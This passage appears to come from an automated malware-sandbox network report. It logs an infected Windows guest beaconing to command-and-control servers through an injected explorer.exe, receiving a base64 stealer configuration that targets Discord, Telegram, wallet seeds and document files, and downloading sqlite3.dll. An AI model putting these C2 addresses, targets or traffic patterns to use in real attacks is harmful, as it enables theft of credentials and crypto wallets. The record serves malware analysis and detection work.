6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.3	49844	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:40.910731077 CET	16241	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xqkct.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 331 Host: host-data-coin-11.com
Dec 28, 2021 05:19:40.910748959 CET	16241	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de b9 66 5d 02 c8 a1 c1 64 3e d7 be 3a Data Ascii: 7xG5f0@^wmDu$f]d>:_a7nS^d"~OmHu&,(\KD"@W=JN\|Y!szMF{#FB4`5rtS'3;lFbSf1'{dPi:tfY
Dec 28, 2021 05:19:41.026969910 CET	16247	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.3	49845	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:41.126991987 CET	16247	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://awejs.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 317 Host: host-data-coin-11.com
Dec 28, 2021 05:19:41.127016068 CET	16248	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de b6 66 5d 02 c8 a1 c1 64 20 8b d6 31 Data Ascii: 7xG5f0@^wmDu$f]d 1]dh<mgK#yA0NS7O4 :c_UK=>\|dl$oHVPPDSm^2Hni.z5MLt`ZWgo`Y^,Ryle`=
Dec 28, 2021 05:19:41.257899046 CET	16249	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 36 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 53 dc 43 d2 fb 2f 82 2b eb ac 91 54 2f e0 b4 41 29 e3 b3 b7 6d f3 9d b8 51 ad 74 94 cf 32 4a 58 37 0b 4a dd bb 71 bd eb 1c 92 ac df 0d 0a 30 0d 0a 0d 0a Data Ascii: 60I:82OB%,YR("XSC/+T/A)mQt2JX7Jq0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.3	49850	185.7.214.239	80	C:\Users\user\AppData\Local\Temp\8CA5.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:41.581974983 CET	17860	OUT	GET /POeNDXYchB.php HTTP/1.1 Host: 185.7.214.239 Connection: Keep-Alive Cache-Control: no-cache
Dec 28, 2021 05:19:41.648700953 CET	18895	IN	HTTP/1.1 200 OK Date: Tue, 28 Dec 2021 04:19:41 GMT Server: Apache/2.4.18 (Ubuntu) Set-Cookie: PHPSESSID=qnbju213plqa6o6fit9kdukud5; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Content-Length: 484 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 58 77 78 66 44 46 38 4d 58 78 45 61 58 4e 6a 62 33 4a 6b 66 44 42 38 4a 55 46 51 55 45 52 42 56 45 45 6c 58 47 52 70 63 32 4e 76 63 6d 52 63 54 47 39 6a 59 57 77 67 55 33 52 76 63 6d 46 6e 5a 56 78 38 4b 6e 77 78 66 44 42 38 4d 48 78 55 5a 57 78 6c 5a 33 4a 68 62 58 77 77 66 43 56 42 55 46 42 45 51 56 52 42 4a 56 78 55 5a 57 78 6c 5a 33 4a 68 62 53 42 45 5a 58 4e 72 64 47 39 77 58 48 52 6b 59 58 52 68 58 48 77 71 52 44 67 33 4e 30 59 33 4f 44 4e 45 4e 55 51 7a 52 55 59 34 51 79 6f 73 4b 6d 31 68 63 43 6f 73 4b 6d 4e 76 62 6d 5a 70 5a 33 4d 71 66 44 46 38 4d 48 77 77 66 45 52 6c 63 32 74 30 62 33 42 38 4e 54 41 77 4d 48 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 70 30 65 48 51 73 4b 6e 42 6b 5a 69 77 71 61 32 56 35 4c 43 70 7a 5a 57 56 6b 4c 43 70 6b 62 32 4d 73 4b 6d 52 76 59 33 67 73 4b 6e 68 73 63 79 77 71 65 47 78 7a 65 48 77 77 66 44 46 38 4d 48 78 56 63 32 56 79 66 44 55 77 4d 44 42 38 4a 56 56 54 52 56 4a 51 55 6b 39 47 53 55 78 46 4a 56 78 38 4b 6e 52 34 64 43 77 71 63 47 52 6d 4c 43 70 72 5a 58 6b 73 4b 6e 4e 6c 5a 57 51 73 4b 6d 52 76 59 79 77 71 5a 47 39 6a 65 43 77 71 65 47 78 7a 4c 43 70 34 62 48 4e 34 66 44 42 38 4d 58 77 77 66 45 52 76 59 33 77 31 4d 44 41 77 66 43 56 45 54 30 4e 56 54 55 56 4f 56 46 4d 6c 58 48 77 71 64 48 68 30 4c 43 70 77 5a 47 59 73 4b 6d 74 6c 65 53 77 71 63 32 56 6c 5a 43 77 71 5a 47 39 6a 4c 43 70 6b 62 32 4e 34 4c 43 70 34 62 48 4d 73 4b 6e 68 73 63 33 68 38 4d 48 77 78 66 44 42 38 Data Ascii: MXwxfDF8MXxEaXNjb3JkfDB8JUFQUERBVEElXGRpc2NvcmRcTG9jYWwgU3RvcmFnZVx8KnwxfDB8MHxUZWxlZ3JhbXwwfCVBUFBEQVRBJVxUZWxlZ3JhbSBEZXNrdG9wXHRkYXRhXHwqRDg3N0Y3ODNENUQzRUY4QyosKm1hcCosKmNvbmZpZ3MqfDF8MHwwfERlc2t0b3B8NTAwMHwlREVTS1RPUCVcfCp0eHQsKnBkZiwqa2V5LCpzZWVkLCpkb2MsKmRvY3gsKnhscywqeGxzeHwwfDF8MHxVc2VyfDUwMDB8JVVTRVJQUk9GSUxFJVx8KnR4dCwqcGRmLCprZXksKnNlZWQsKmRvYywqZG9jeCwqeGxzLCp4bHN4fDB8MXwwfERvY3w1MDAwfCVET0NVTUVOVFMlXHwqdHh0LCpwZGYsKmtleSwqc2VlZCwqZG9jLCpkb2N4LCp4bHMsKnhsc3h8MHwxfDB8
Dec 28, 2021 05:19:45.129215002 CET	19906	OUT	GET /sqlite3.dll HTTP/1.1 Host: 185.7.214.239 Cache-Control: no-cache Cookie: PHPSESSID=qnbju213plqa6o6fit9kdukud5
Dec 28, 2021 05:19:45.189464092 CET	19907	IN	HTTP/1.1 200 OK Date: Tue, 28 Dec 2021 04:19:45 GMT Server: Apache/2.4.18 (Ubuntu) Last-Modified: Mon, 20 Dec 2021 14:18:30 GMT ETag: "9d9d8-5d394902c2106" Accept-Ranges: bytes Content-Length: 645592 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 13 00 ea 98 3d 53 00 76 08 00 3f 0c 00 00 e0 00 06 21 0b 01 02 15 00 d0 06 00 00 e0 07 00 00 06 00 00 58 10 00 00 00 10 00 00 00 e0 06 00 00 00 90 60 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 09 00 00 06 00 00 38 c3 0a 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 07 00 98 19 00 00 00 d0 07 00 4c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 fc 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac d1 07 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 ce 06 00 00 10 00 00 00 d0 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 30 60 2e 64 61 74 61 00 00 00 b0 0f 00 00 00 e0 06 00 00 10 00 00 00 d6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 64 61 74 61 00 00 24 ad 00 00 00 f0 06 00 00 ae 00 00 00 e6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 40 2e 62 73 73 00 00 00 00 98 04 00 00 00 a0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 40 c0 2e 65 64 61 74 61 00 00 98 19 00 00 00 b0 07 00 00 1a 00 00 00 94 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 4c 0a 00 00 00 d0 07 00 00 0c 00 00 00 ae 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 18 00 00 00 00 e0 07 00 00 02 00 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 f0 07 00 00 02 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 fc 27 00 00 00 00 08 00 00 28 00 00 00 be 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 60 01 00 00 00 30 08 00 00 02 00 00 00 e6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 c8 03 00 00 00 40 08 00 00 04 00 00 00 e8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 35 00 00 00 00 00 4d 06 00 00 00 50 08 00 00 08 00 00 00 ec 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 31 00 00 00 00 00 60 43 00 00 00 60 08 00 00 44 00 00 00 f4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 36 33 00 00 00 00 00 84 0d 00 00 00 b0 08 00 00 0e 00 00 00 38 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 37 37 00 00 00 00 00 94 0b 00 00 00 c0 08 00 00 0c 00 00 00 46 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 39 00 00 00 00 00 04 05 00 00 00 d0 08 00 00 06 00 00 00 52 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 31 30 32 00 00 00 00 0d 01 00 00 00 e0 08 00 00 02 00 00 00 58 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 31 31 33 00 00 00 00 db 19 00 00 00 f0 08 00 00 1a 00 00 00 5a 08 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL=Sv?!X` 8 L'p.text`0`.data@@.rdata$@@@.bss@.edata@0@.idataL@0.CRT@0.tls @0.reloc'(@0B/4`0@@B/19@@B/35MP@B/51`C`D@B/638@B/77F@B/89R@0B/102X@B/113Z
Dec 28, 2021 05:19:45.189531088 CET	19908	IN	Data Raw: 00 00 00 00 00 00 40 00 10 42 2f 31 32 34 00 00 00 00 b0 01 00 00 00 10 09 00 00 02 00 00 00 74 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @B/124t@B
Dec 28, 2021 05:19:45.189583063 CET	19910	IN	Data Raw: c6 41 2b 00 83 c4 2c 5b 5e 5f c9 c3 55 89 e5 57 56 53 83 ec 2c 89 c3 80 78 28 00 0f 85 10 01 00 00 80 78 2a 00 75 1a c7 40 08 d0 07 00 00 c7 40 0c 01 00 00 00 c7 40 10 01 00 00 00 e9 ec 00 00 00 8b 00 8b 53 04 05 00 2e 93 02 83 d2 00 c7 44 24 08 Data Ascii: A+,[^_UWVS,x(x*u@@@S.D$\&D$$T$`P,$5`}fUfUm]mE)`$,$5`m]muid)`$<$m]mE$
Dec 28, 2021 05:19:45.189635038 CET	19911	IN	Data Raw: 55 e4 e8 21 ff ff ff 89 1d 28 a2 97 60 8b 55 e4 89 15 2c a2 97 60 89 35 20 a2 97 60 89 3d 24 a2 97 60 8b 15 40 a2 97 60 83 ff 00 7c 1b 7f 05 83 fe 00 76 14 89 d3 c1 fb 1f b8 01 00 00 00 39 df 7c 08 7f 04 39 d6 76 02 31 c0 a3 3c a2 97 60 a1 18 a2 Data Ascii: U!(`U,`5 `=$`@`\|v9\|9v1<``$1,[^_UWVS,(`t^@`5,`(``$UM\|$UMT$L$4$`$[(`5,`,[^_U8`UW
Dec 28, 2021 05:19:45.189687967 CET	19913	IN	Data Raw: c1 fa 1f 89 55 dc 89 45 d0 99 89 55 d4 8b 15 20 a2 97 60 8b 0d 24 a2 97 60 2b 55 d0 1b 4d d4 39 4d dc 7c 0b 7f 04 39 d3 72 05 e8 fd fa ff ff 8b 45 e4 89 44 24 04 89 34 24 ff 15 34 e0 96 60 89 c3 85 c0 75 26 83 3d 28 a2 97 60 00 74 31 89 f8 e8 d7 Data Ascii: UEU `$`+UM9M\|9rED$4$4`u&=(`t1UT$4$4`t$4+E1`$ED$4$4`<[^_USta1{@umtP9~=u+
Dec 28, 2021 05:19:45.189738989 CET	19914	IN	Data Raw: 85 8b 00 00 00 01 cb bf 0a 00 00 00 eb 37 6b 75 d4 0a 8b 45 d0 f7 e7 89 45 a0 01 f2 89 55 a4 0f be 75 c4 83 ee 30 89 75 d0 89 f2 c1 fa 1f 89 55 d4 8b 45 a0 8b 55 a4 01 45 d0 11 55 d4 01 cb ff 45 c0 ff 4d cc 3b 5d c8 0f 83 de 00 00 00 8a 13 88 55 Data Ascii: 7kuEEUu0uUEUEUEM;]U}\|}wEB`uE;]B`u<Et<eub;]<-u<+u11!'kEt';]sE
Dec 28, 2021 05:19:45.189790010 CET	19915	IN	Data Raw: e5 57 56 53 83 ec 24 89 c1 89 55 e4 8a 00 3c 2d 75 08 41 bb 01 00 00 00 eb 0f 31 db 3c 2b 0f 94 c0 0f b6 c0 01 c1 eb 01 41 80 39 30 74 fa 31 f6 31 c0 31 d2 89 45 d8 89 55 dc 89 4d d4 eb 37 46 83 fe 0b 74 56 6b 45 dc 0a 89 45 e0 b8 0a 00 00 00 f7 Data Ascii: WVS$U<-uA1<+A90t111EUM7FtVkEEeEMU}EUMUMM<10x#~tu1$[^_EU]}+u}u}\|wUEtUE
Dec 28, 2021 05:19:45.189838886 CET	19917	IN	Data Raw: b8 ff ff ff 7f c9 c3 55 89 e5 56 53 66 39 d0 0f bf c8 0f bf da 7c 19 8d 53 31 39 d1 7f 31 8d 53 1f 39 d1 7f 1b 29 d9 0f b6 91 dc 81 97 60 eb 1c 8d 71 31 89 d0 39 f3 7f 16 8d 51 1f 39 d3 7e 03 40 eb 0c 29 cb 0f b6 93 dc 81 97 60 8d 04 02 5b 5e c9 Data Ascii: UVSf9\|S191S9)`q19Q9~@)`[^Uwv(.w1vQ(w2v+(w=wwwfN`UVS1fff
Dec 28, 2021 05:19:45.189889908 CET	19918	IN	Data Raw: e5 8b 50 1c 8b 0a 89 48 20 85 c9 74 05 89 41 24 eb 0a 80 7a 1c 00 74 04 c6 42 1d 01 89 02 83 7a 04 00 75 03 89 42 04 83 7a 08 00 75 09 f6 40 18 04 75 03 89 42 08 c9 c3 55 89 e5 83 ec 18 8b 50 1c 80 7a 1c 00 74 27 83 78 14 01 75 07 c7 42 2c 00 00 Data Ascii: PH tA$ztBzuBzu@uBUPzt'xuB,D$D$B($`USf@HfCfu$CHCuY[Z[SX[US@tCH{u@,D$T$@($`
Dec 28, 2021 05:19:45.189940929 CET	19920	IN	Data Raw: 03 89 04 24 e8 c3 df ff ff 8b 73 04 c7 43 04 00 00 00 00 89 d8 e8 cb fe ff ff 89 73 04 8b 03 89 45 08 83 c4 10 5b 5e c9 e9 cf df ff ff 83 c4 10 5b 5e c9 c3 55 89 e5 56 53 83 ec 10 8b 5d 08 8b 03 8b 00 89 04 24 e8 81 df ff ff 8b 73 24 8b 03 8b 00 Data Ascii: $sCsE[^[^UVS]$s$$[^UWVS,u]E>$EHEuG9Gv{GtXC__F CE,[^_*UWVS,]uE}$E
Dec 28, 2021 05:19:45.250252962 CET	19922	IN	Data Raw: 00 c7 43 60 00 00 00 00 c7 43 34 00 00 00 00 83 c4 10 5b 5e c9 c3 55 89 e5 0f b6 ca 83 f9 0a 74 05 83 f9 0d 75 07 89 50 28 c6 40 0f 06 89 d0 c9 c3 55 89 e5 83 ec 18 8b 10 8b 52 2c 85 d2 74 13 89 04 24 ff d2 89 c2 b8 00 02 00 00 83 fa 1f 7e 16 eb Data Ascii: C`C4[^UtuP(@UR,t$~~USxu@<tC<[[UVS@dpC*C\C`-[^UWVS<U

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.3	49863	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:47.618788004 CET	20593	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hxmnbo.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 181 Host: host-data-coin-11.com
Dec 28, 2021 05:19:47.618799925 CET	20594	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de b6 66 5d 02 c9 a1 c1 64 45 a3 9c 7e Data Ascii: 7xG5f0@^wmDu$f]dE~Jz^I0GDhCAl_:%{a9OH7[3lGY31#H2K/1Pyk
Dec 28, 2021 05:19:47.755021095 CET	20594	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:47 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.3	49864	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:47.853893042 CET	20595	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jjctmvu.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 270 Host: host-data-coin-11.com
Dec 28, 2021 05:19:47.853916883 CET	20595	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de b7 66 5d 02 c8 a1 c1 64 37 ab bf 17 Data Ascii: 7xG5f0@^wmDu$f]d7qzn7rMt-ds &l\|$^5WO C;1BE/N2%0kb#i, A/\y_gL)NnGhM>_T=9"Km6K-KB
Dec 28, 2021 05:19:47.972836018 CET	20596	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:47 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 39 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 83 49 10 65 1e ff a7 8a bb a6 14 b7 1d dd 61 b2 45 4c da 01 f5 e7 3a ae 24 50 0a f3 e1 8c 1f b4 23 c7 17 9e ab 0d 0a 30 0d 0a 0d 0a Data Ascii: 39I:82OIeaEL:$P#0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.3	49867	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:51.191730976 CET	20719	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ikexxrgenj.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 111 Host: host-data-coin-11.com
Dec 28, 2021 05:19:51.191749096 CET	20719	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de b7 66 5d 02 c9 a1 c1 64 24 c7 b6 12 Data Ascii: 7xG5f0@^wmDu$f]d$*G3Y@KCB2C"Vch
Dec 28, 2021 05:19:51.303026915 CET	20720	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 